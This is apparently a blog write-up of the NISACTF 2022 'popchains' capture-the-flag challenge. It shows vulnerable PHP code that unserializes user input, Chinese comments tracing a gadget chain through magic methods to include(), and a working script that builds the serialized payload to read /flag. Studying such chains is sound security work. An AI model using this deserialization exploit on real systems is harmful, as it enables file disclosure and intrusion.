[NISACTF 2022]popchains

点击查看代码
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])) {
    @unserialize($_GET['wish']);
}
//接收一个wish变量get,反序列化,否则new一个新类叫a,Road_is_Long
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
//两个public变量page和string
//三个魔术方法
//__constuct将index.php赋值给了page变量
//__tostring方法再将page变量给了string变量
//__wakeup就是一个过滤,这里过滤的东西怎么感觉是ssrf漏洞会利用的协议,也是吧index.php赋值给了page

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
//一个保护属性var
//自定义append函数传入一个参数就去包含,这里可以包含flag.php
//__invoke函数()会调用append函数吧这个保护变量传进去

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

//公共变量effort
//一个魔术方法__construct,给effort赋值一个array()数组
//__get()魔术方法,将变量当函数用并返回

//反向分析pop链,我们要flag,就是要包含flag.php,利用append函数,给他的$value传参flag.php就可以,要调用append(),需要触发__invoke函数同时把$var赋值成flag.php
//__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
//定位到__get()魔术方法,我们只要把$effort赋值成Try_Work_Hard的对象,就可以让他当成函数调用。就可以触发__invoke()
//怎么触发__get()魔术方法。当希望访问某个对象的未定义的或者不可访问的属性不报错,我们可以在类里定义__get方法,这样系统在此刻会自动调用该方法
//定位到class Road_is_Long,public function __toString(){
//        return $this->string->page;
//    }
//这里我们将$this->string赋值成为Make_a_Change,这个类里面没有page这个属性,就会触发_get()
//那怎么触发__toString方法,当对象被当做String使用时,这个方法会被自动调用
//这里好像没有,最接近的地方也就是 public function __wakeup(){
//        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
//            echo "You can Not Enter 2022";
//            $this->page = "index.php";
//        }
//    }
//如果$page 是一个对象,那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString
//总结:
//wakeup——》创建一个page为对象是load这个类本身-》tostring-》把string变量赋值成为Make_a_Change,访问不到page->get()->把effort赋值成为Try_Work_Hard的对象-》触发invoke-》触发append结束

/**********************Try to See flag.php*****************************/

点击查看代码
<?php
class Road_is_Long{
    public $page;
    public $string;
}

class Try_Work_Hard{
    protected  $var='/flag';
}

class Make_a_Change{
    public $effort;
}

$road1=new Road_is_Long();
$road2=new Road_is_Long();
$make=new Make_a_Change();
$try=new Try_Work_Hard();
$road1->page=$road2;
$road2->string=$make;
$make->effort=$try;
$ser = serialize($road1);
echo urlencode($ser);


image

posted @ 2023-04-19 15:58  Dr0se  阅读(13)  评论(0)    收藏  举报